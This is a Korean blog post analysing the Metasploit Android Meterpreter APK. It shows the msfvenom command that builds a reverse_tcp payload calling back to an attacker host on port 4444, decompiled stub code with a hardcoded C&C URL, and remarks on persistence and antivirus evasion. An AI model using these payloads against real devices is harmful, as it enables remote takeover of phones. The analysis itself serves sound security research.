[METASPLOIT] Android Meterpreter Shell 분석 - Part 1 Meterpreter APK Analysis

Metasploit 에서 제공하는 Meterpreter Shell. 그 중 Android Apk를 통한 Shell에 대한 분석을 해볼까 합니다.

MSF와 Meterpreter에 관심이 많아 이전에도 따로 보안가 입장에서 분석해볼까 하였는데, 안드로이드 Shell을 사용해야 할 상황이 생겨 분석을 해볼까합니다. 실제 돌아가는 Module 부분은 아래에서도 설명드리겠지만 Meterpreter 모듈을 다운로드 받아 사용하기에 분석량이 좀 많을 수 있어 Part1, Part2 로 나누어 진행해볼까 합니다.

Part1 에서는 Meterpreter APK(venom등으로 만든..)에 대한 앱 분석 및 구동 방법정도의 큰 그림을 볼까합니다.

1. 테스트에 필요한 Meterpreter APK 만들기

msfvenom을 통해 쉽게 생성이 가능합니다. msfpayload 또한 동일하죠. terminal에서 아래와 같이 venom을 통해 apk를 생성합니다.

hvenom -p android/meterpreter/reverse_tcp LHOST=... LPORT=4444 R > test_shell.apk

저는 reverse_tcp로 구성하였고, LHOST를 통해 연결 host , LPORT를 통해 포트 지정 후 apk 로 밀어넣었습니다.
예전에 이 부분 관련하여 포스팅 한적이 있네요. 참고해주세요 : )

http://www.codeblack.net/2015/08/metasploit-msfvenom-android-meterpreter.html

이렇게 간단하게 Meterpreter APK가 생성되었습니다. 안드로이드 디바이스에 설치 후 실행하면 지정한 포트로 Meterpreter 연결 요청이 나가게 되고, Handler로 받는 공격자의 Pc에서 쉘을 확인할 수 있습니다.

2. Dex2jar 를 통한 APK Decompile

안드로이드 분석 도구는 굉장히 많습니다. 안드로이드 분석 시 많이 사용되는 dex2jar 와 jad 등을 이용하여 java 코드로 어느정도 흐름 확인이 가능합니다.

d2j test_shell.apk

dex2jar 를 통해 dex파일을 jar 형태로 변환 후 jd-gui를 통해 분석이 가능합니다. (원래는 압축 후 class.dex 파일을 풀어야하지만, apk 자체로 풀어도 풀립니다.)

jdgui test_shell.jar

를 하면 아래와 같이 Meterpreter Shell APK가 확인됩니다. APK상에서의 소스코드는 매우 간단합니다.

아래 참고

http://www.codeblack.net/2015/06/android-jadjava-decompiler-android-apk.html http://www.codeblack.net/2015/09/hacking-android-unpacker-apk-apk.html

3. Meterpreter Shell APK 의 구동 방식

이친구는 매우 간단한 방식으로 Meterpreter shell 을 열어줍니다.

APK 실행 -> 서비스 등록 -> C&C 서버 연결 -> Meterpreter Shell Module 다운로드 Meterpreter Shell 실행

아까 지정한 LHOST로 연결 후 Meterpreter Module 을 안드로이드 디바이스로 다운로드 후 쉘을 동작하여 Android 에서도 Meterpreter Shell을 사용할 수 있게 합니다. 소스코드를 간단히 훑어보면 몇가지로 압축할 수 있습니다.

Meterpreter Shell for Android

BuildConfig MainActivity Payload PayloadTrustManager R

MainActivity와 PayloadManager 부분으로 구성되어있습니다. 코드도 매우 적고 심플해요.

MainActivity package com.metasploit.stage;


import android.app.Activity;
import android.os.Bundle;

public class MainActivity extends Activity
{
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    Payload.start(this);
    finish();
  }
}

MainActivity에서는 별다른 행위 없이 App구동(onCreate )시 Payload 클래스의 start 메소드를 실행합니다. 그럼 Payload 클래스를 볼까요..

Payload

public static final String CERT_HASH = "WWWW";
  public static final String TIMEOUTS = "TTTT604800-300-3600-10";
  public static final String URL = "ZZZZtcp://***.***.***.***:4444                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ";
  public static long comm_timeout;
  private static String[] parameters;
  public static long retry_total;
  public static long retry_wait;
  public static long session_expiry;

runStagefromTCP 함수를 통해 서버와 통신 , Meterpreter Module 을 다운로드 합니다.

해당 class를 보면 아까 지정한 IP와 PORT가 APK 내부에 하드코딩됨을 알 수 있습니다. 또한 Socket을 통하여 서버랑 연결하는 부분도 포함되어 있습니다.

전체 흐름 상 하드코딩된 서버에 접근하여 모듈을 받아오고, PayloadTrustManager와 받아온 모듈간의 작용을 통해 서비스로 Meterpreter Shell을 돌릴 것으로 생각되네요.

일단 1차적인 분석은 여기까지 하고, 이후에 추가로 Part2에서 작성하도록 하겠습니다.

큰 그림이 중요합니다. APK를 통해 설치 후 Module을 받아와 서비스로 돌린다. 이 개념으로 APK 실행 후 APK 동작 여부와 관계없이 쉘을 유지할 수 있고, 실행만 된다면 어느 정도 백신에서 자유로울 수도 있습니다.

모바일이 회사 인프라와 연결되는 경우도 많아 모바일 보안에 대한 중요성이 높습니다. 또한 IoT 기기에도 적용될 수 있는 점이기에 중요하다고 생각됩니다.